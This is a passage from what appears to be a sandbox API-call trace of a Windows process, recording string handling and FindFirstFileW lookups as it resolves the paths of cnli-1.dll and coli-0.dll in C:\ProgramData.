pbstr=0x28f220*="c:\\programdata") returned 1 [0118.257] SysReAllocStringLen (in: pbstr=0x28f280*="c:\\programdata", psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f280*="c:\\programdata\\") returned 1 [0118.257] CharLowerBuffW (in: lpsz="c:\\programdata\\cnli-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\cnli-1.dll") returned 0x19 [0118.257] SysReAllocStringLen (in: pbstr=0x472350*=0x0, psz="c:\\programdata\\cnli-1.dll", len=0x19 | out: pbstr=0x472350*="c:\\programdata\\cnli-1.dll") returned 1 [0118.258] CharLowerBuffW (in: lpsz="c:\\programdata\\cnli-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\cnli-1.dll") returned 0x19 [0118.258] SysReAllocStringLen (in: pbstr=0x47242c*=0x0, psz="c:\\programdata\\cnli-1.dll", len=0x19 | out: pbstr=0x47242c*="c:\\programdata\\cnli-1.dll") returned 1 [0118.258] SysReAllocStringLen (in: pbstr=0x472430*=0x0, psz="c:", len=0x2 | out: pbstr=0x472430*="c:") returned 1 [0118.258] SysReAllocStringLen (in: pbstr=0x472450*=0x0, psz="programdata", len=0xb | out: pbstr=0x472450*="programdata") returned 1 [0118.258] SysReAllocStringLen (in: pbstr=0x472470*=0x0, psz="cnli-1.dll", len=0xa | out: pbstr=0x472470*="cnli-1.dll") returned 1 [0118.258] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatawr45w", lpUsedDefaultChar=0x0) returned 11 [0118.258] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="cnli-1.dll", cchWideChar=10, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cnli-1.dllawr45w", lpUsedDefaultChar=0x0) returned 10 [0118.258] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0118.258] SysReAllocStringLen (in: pbstr=0x28f214*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f214*="c:\\") returned 1 [0118.258] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0118.258] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.259] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.259] GetLastError () returned 0x12 [0118.259] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.259] SysReAllocStringLen (in: pbstr=0x28ef00*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28ef00*="c:\\ProgramData") returned 1 [0118.259] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f214*="c:\\ProgramData\\") returned 1 [0118.259] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="cnli-1.dll", len=0xa | out: pbstr=0x28ef0c*="cnli-1.dll") returned 1 [0118.259] FindFirstFileW (in: lpFileName="c:\\ProgramData\\cnli-1.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13be78f0, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13be78f0, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13be78f0, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0xe200, dwReserved0=0x0, dwReserved1=0x0, cFileName="cnli-1.dll", cAlternateFileName="")) returned 0x7632b0 [0118.259] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb8 | out: lpLocalFileTime=0x28eeb8) returned 1 [0118.259] FileTimeToDosDateTime (in: lpFileTime=0x28eeb8, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.260] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.260] SysReAllocStringLen (in: pbstr=0x28ef00*="c:\\ProgramData\\", psz="c:\\ProgramData\\cnli-1.dll", len=0x19 | out: pbstr=0x28ef00*="c:\\ProgramData\\cnli-1.dll") returned 1 [0118.260] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\cnli-1.dll", psz="c:\\ProgramData\\cnli-1.dll\\", len=0x1a | out: pbstr=0x28f214*="c:\\ProgramData\\cnli-1.dll\\") returned 1 [0118.260] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\ProgramData\\cnli-1.dll\\", len=0x1a | out: pbstr=0x28eefc*="c:\\ProgramData\\cnli-1.dll\\") returned 1 [0118.260] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\cnli-1.dll\\", psz="c:\\ProgramData\\cnli-1.dll", len=0x19 | out: pbstr=0x28f214*="c:\\ProgramData\\cnli-1.dll") returned 1 [0118.260] CharLowerBuffW (in: lpsz="c:\\ProgramData\\cnli-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\cnli-1.dll") returned 0x19 [0118.261] SysReAllocStringLen (in: pbstr=0x47242c*=0x0, psz="c:\\programdata\\cnli-1.dll", len=0x19 | out: pbstr=0x47242c*="c:\\programdata\\cnli-1.dll") returned 1 [0118.261] SysReAllocStringLen (in: pbstr=0x472430*=0x0, psz="c:", len=0x2 | out: pbstr=0x472430*="c:") returned 1 [0118.261] CharLowerBuffW (in: lpsz="c:\\programdata\\cnli-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\cnli-1.dll") returned 0x19 [0118.262] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.262] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.262] GetLastError () returned 0x12 [0118.262] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.262] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\PROGRA~3", len=0xb | out: pbstr=0x28eefc*="c:\\PROGRA~3") returned 1 [0118.262] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3", psz="c:\\PROGRA~3\\", len=0xc | out: pbstr=0x28f210*="c:\\PROGRA~3\\") returned 1 [0118.262] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="cnli-1.dll", len=0xa | out: pbstr=0x28ef0c*="cnli-1.dll") returned 1 [0118.262] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\cnli-1.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13be78f0, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13be78f0, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13be78f0, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0xe200, dwReserved0=0x0, dwReserved1=0x0, cFileName="cnli-1.dll", cAlternateFileName="")) returned 0x7632b0 [0118.262] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb4 | out: lpLocalFileTime=0x28eeb4) returned 1 [0118.262] FileTimeToDosDateTime (in: lpFileTime=0x28eeb4, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.262] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.263] SysReAllocStringLen (in: pbstr=0x28eefc*="c:\\PROGRA~3\\", psz="c:\\PROGRA~3\\cnli-1.dll", len=0x16 | out: pbstr=0x28eefc*="c:\\PROGRA~3\\cnli-1.dll") returned 1 [0118.263] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\cnli-1.dll", psz="c:\\PROGRA~3\\cnli-1.dll\\", len=0x17 | out: pbstr=0x28f210*="c:\\PROGRA~3\\cnli-1.dll\\") returned 1 [0118.263] SysReAllocStringLen (in: pbstr=0x28eef8*=0x0, psz="c:\\PROGRA~3\\cnli-1.dll\\", len=0x17 | out: pbstr=0x28eef8*="c:\\PROGRA~3\\cnli-1.dll\\") returned 1 [0118.263] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\cnli-1.dll\\", psz="c:\\PROGRA~3\\cnli-1.dll", len=0x16 | out: pbstr=0x28f210*="c:\\PROGRA~3\\cnli-1.dll") returned 1 [0118.263] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\cnli-1.dll", cchLength=0x16 | out: lpsz="c:\\progra~3\\cnli-1.dll") returned 0x16 [0118.263] SysReAllocStringLen (in: pbstr=0x472480*=0x0, psz="c:\\progra~3\\cnli-1.dll", len=0x16 | out: pbstr=0x472480*="c:\\progra~3\\cnli-1.dll") returned 1 [0118.264] SysReAllocStringLen (in: pbstr=0x472484*=0x0, psz="c:", len=0x2 | out: pbstr=0x472484*="c:") returned 1 [0118.264] SysReAllocStringLen (in: pbstr=0x4724a4*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x4724a4*="progra~3") returned 1 [0118.264] SysReAllocStringLen (in: pbstr=0x4724c4*=0x0, psz="cnli-1.dll", len=0xa | out: pbstr=0x4724c4*="cnli-1.dll") returned 1 [0118.264] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3llaume1", lpUsedDefaultChar=0x0) returned 8 [0118.264] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="cnli-1.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cnli-1.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0118.264] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4724ec, cbMultiByte=12, lpWideCharStr=0x28e18c, cchWideChar=2047 | out: lpWideCharStr="EVBF3D62.TMP⍔vバt☘E\x18") returned 12 [0118.264] CharLowerBuffW (in: lpsz="EVBF3D62.TMP", cchLength=0xc | out: lpsz="evbf3d62.tmp") returned 0xc [0118.264] SysReAllocStringLen (in: pbstr=0x28f200*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f200*="c:\\programdata\\") returned 1 [0118.265] FindFirstFileW (in: lpFileName="c:\\programdata\\evbf3d62.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x1d59de1, ftCreationTime.dwLowDateTime=0x13be78f0, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xe200, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x6e0063, nFileSizeLow=0x69006c, dwReserved0=0x31002d, dwReserved1=0x64002e, cFileName="ll", cAlternateFileName="A聄uA((")) returned 0xffffffff [0118.265] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.265] SysReAllocStringLen (in: pbstr=0x28f258*="evbf3d62.tmp", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.265] SysReAllocStringLen (in: pbstr=0x28f1cc*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f1cc*="programdata") returned 1 [0118.265] SysReAllocStringLen (in: pbstr=0x28f1d4*=0x0, psz="\\device\\harddiskvolume1\\programdata", len=0x23 | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata") returned 1 [0118.265] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\programdata\\", len=0x24 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\") returned 1 [0118.265] SysReAllocStringLen (in: pbstr=0x28f1cc*="programdata", psz="cnli-1.dll", len=0xa | out: pbstr=0x28f1cc*="cnli-1.dll") returned 1 [0118.265] SysReAllocStringLen (in: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\cnli-1.dll", len=0x2e | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\cnli-1.dll") returned 1 [0118.265] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\cnli-1.dll\\", len=0x2f | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\cnli-1.dll\\") returned 1 [0118.265] SysReAllocStringLen (in: pbstr=0x47236c*=0x0, psz="\\device\\harddiskvolume1\\programdata\\cnli-1.dll\\", len=0x2f | out: pbstr=0x47236c*="\\device\\harddiskvolume1\\programdata\\cnli-1.dll\\") returned 1 [0118.265] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\cnli-1.dll\\", cchLength=0x2f | out: lpsz="\\device\\harddiskvolume1\\programdata\\cnli-1.dll\\") returned 0x2f [0118.265] SysReAllocStringLen (in: pbstr=0x472504*=0x0, psz="\\device\\harddiskvolume1\\programdata\\cnli-1.dll\\", len=0x2f | out: pbstr=0x472504*="\\device\\harddiskvolume1\\programdata\\cnli-1.dll\\") returned 1 [0118.266] SysReAllocStringLen (in: pbstr=0x472528*=0x0, psz="device", len=0x6 | out: pbstr=0x472528*="device") returned 1 [0118.266] SysReAllocStringLen (in: pbstr=0x472548*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x472548*="harddiskvolume1") returned 1 [0118.266] SysReAllocStringLen (in: pbstr=0x472554*=0x0, psz="programdata", len=0xb | out: pbstr=0x472554*="programdata") returned 1 [0118.266] SysReAllocStringLen (in: pbstr=0x472560*=0x0, psz="cnli-1.dll", len=0xa | out: pbstr=0x472560*="cnli-1.dll") returned 1 [0118.266] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device\x9dv\x18", lpUsedDefaultChar=0x0) returned 6 [0118.266] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0118.266] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0118.266] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="cnli-1.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cnli-1.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0118.267] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\cnli-1.dll\\", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.267] SysReAllocStringLen (in: pbstr=0x28f1c0*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x28f1c0*="progra~3") returned 1 [0118.267] SysReAllocStringLen (in: pbstr=0x28f1c8*=0x0, psz="\\device\\harddiskvolume1\\progra~3", len=0x20 | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3") returned 1 [0118.267] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\progra~3\\", len=0x21 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\") returned 1 [0118.267] SysReAllocStringLen (in: pbstr=0x28f1c0*="progra~3", psz="cnli-1.dll", len=0xa | out: pbstr=0x28f1c0*="cnli-1.dll") returned 1 [0118.267] SysReAllocStringLen (in: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\cnli-1.dll", len=0x2b | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\cnli-1.dll") returned 1 [0118.267] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\cnli-1.dll\\", len=0x2c | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\cnli-1.dll\\") returned 1 [0118.267] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\cnli-1.dll\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\progra~3\\cnli-1.dll\\") returned 0x2c [0118.267] SysReAllocStringLen (in: pbstr=0x472570*=0x0, psz="\\device\\harddiskvolume1\\progra~3\\cnli-1.dll\\", len=0x2c | out: pbstr=0x472570*="\\device\\harddiskvolume1\\progra~3\\cnli-1.dll\\") returned 1 [0118.267] SysReAllocStringLen (in: pbstr=0x472594*=0x0, psz="device", len=0x6 | out: pbstr=0x472594*="device") returned 1 [0118.267] SysReAllocStringLen (in: pbstr=0x4725b4*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x4725b4*="harddiskvolume1") returned 1 [0118.268] SysReAllocStringLen (in: pbstr=0x4725c0*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x4725c0*="progra~3") returned 1 [0118.268] SysReAllocStringLen (in: pbstr=0x4725cc*=0x0, psz="cnli-1.dll", len=0xa | out: pbstr=0x4725cc*="cnli-1.dll") returned 1 [0118.268] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device.dllaume1", lpUsedDefaultChar=0x0) returned 6 [0118.268] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0118.268] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3volume1", lpUsedDefaultChar=0x0) returned 8 [0118.268] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="cnli-1.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cnli-1.dlllume1", lpUsedDefaultChar=0x0) returned 10 [0118.269] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.269] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.269] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.269] SysReAllocStringLen (in: pbstr=0x28f23c*=0x0, psz="coli-0.dll", len=0xa | out: pbstr=0x28f23c*="coli-0.dll") returned 1 [0118.269] CharLowerBuffW (in: lpsz="coli-0.dll", cchLength=0xa | out: lpsz="coli-0.dll") returned 0xa [0118.269] SysReAllocStringLen (in: pbstr=0x28f240*="coli-0.dll", psz="coli-0.dll", len=0xa | out: pbstr=0x28f240*="coli-0.dll") returned 1 [0118.270] SysReAllocStringLen (in: pbstr=0x472624*=0x0, psz="coli-0.dll", len=0xa | out: pbstr=0x472624*="coli-0.dll") returned 1 [0118.270] SysReAllocStringLen (in: pbstr=0x472628*=0x0, psz="coli-0.dll", len=0xa | out: pbstr=0x472628*="coli-0.dll") returned 1 [0118.270] SysReAllocStringLen (in: pbstr=0x28f220*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x28f220*="c:\\programdata") returned 1 [0118.270] SysReAllocStringLen (in: pbstr=0x28f280*="c:\\programdata", psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f280*="c:\\programdata\\") returned 1 [0118.270] CharLowerBuffW (in: lpsz="c:\\programdata\\coli-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\coli-0.dll") returned 0x19 [0118.270] SysReAllocStringLen (in: pbstr=0x47262c*=0x0, psz="c:\\programdata\\coli-0.dll", len=0x19 | out: pbstr=0x47262c*="c:\\programdata\\coli-0.dll") returned 1 [0118.270] CharLowerBuffW (in: lpsz="c:\\programdata\\coli-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\coli-0.dll") returned 0x19 [0118.270] SysReAllocStringLen (in: pbstr=0x471b84*=0x0, psz="c:\\programdata\\coli-0.dll", len=0x19 | out: pbstr=0x471b84*="c:\\programdata\\coli-0.dll") returned 1 [0118.270] SysReAllocStringLen (in: pbstr=0x471b88*=0x0, psz="c:", len=0x2 | out: pbstr=0x471b88*="c:") returned 1 [0118.270] SysReAllocStringLen (in: pbstr=0x47273c*=0x0, psz="programdata", len=0xb | out: pbstr=0x47273c*="programdata") returned 1 [0118.271] SysReAllocStringLen (in: pbstr=0x47275c*=0x0, psz="coli-0.dll", len=0xa | out: pbstr=0x47275c*="coli-0.dll") returned 1 [0118.271] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatawr45w", lpUsedDefaultChar=0x0) returned 11 [0118.271] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="coli-0.dll", cchWideChar=10, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="coli-0.dllawr45w", lpUsedDefaultChar=0x0) returned 10 [0118.271] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0118.271] SysReAllocStringLen (in: pbstr=0x28f214*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f214*="c:\\") returned 1 [0118.271] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0118.271] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.271] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.271] GetLastError () returned 0x12 [0118.271] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.272] SysReAllocStringLen (in: pbstr=0x28ef00*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28ef00*="c:\\ProgramData") returned 1 [0118.272] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f214*="c:\\ProgramData\\") returned 1 [0118.272] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="coli-0.dll", len=0xa | out: pbstr=0x28ef0c*="coli-0.dll") returned 1 [0118.272] FindFirstFileW (in: lpFileName="c:\\ProgramData\\coli-0.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13be78f0, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13be78f0, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bea000, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="coli-0.dll", cAlternateFileName="")) returned 0x7632b0 [0118.272] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb8 | out: lpLocalFileTime=0x28eeb8) returned 1 [0118.272] FileTimeToDosDateTime (in: lpFileTime=0x28eeb8, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.272] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.272] SysReAllocStringLen (in: pbstr=0x28ef00*="c:\\ProgramData\\", psz="c:\\ProgramData\\coli-0.dll", len=0x19 | out: pbstr=0x28ef00*="c:\\ProgramData\\coli-0.dll") returned 1 [0118.272] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\coli-0.dll", psz="c:\\ProgramData\\coli-0.dll\\", len=0x1a | out: pbstr=0x28f214*="c:\\ProgramData\\coli-0.dll\\") returned 1 [0118.272] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\ProgramData\\coli-0.dll\\", len=0x1a | out: pbstr=0x28eefc*="c:\\ProgramData\\coli-0.dll\\") returned 1 [0118.272] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\coli-0.dll\\", psz="c:\\ProgramData\\coli-0.dll", len=0x19 | out: pbstr=0x28f214*="c:\\ProgramData\\coli-0.dll") returned 1 [0118.273] CharLowerBuffW (in: lpsz="c:\\ProgramData\\coli-0.dll", 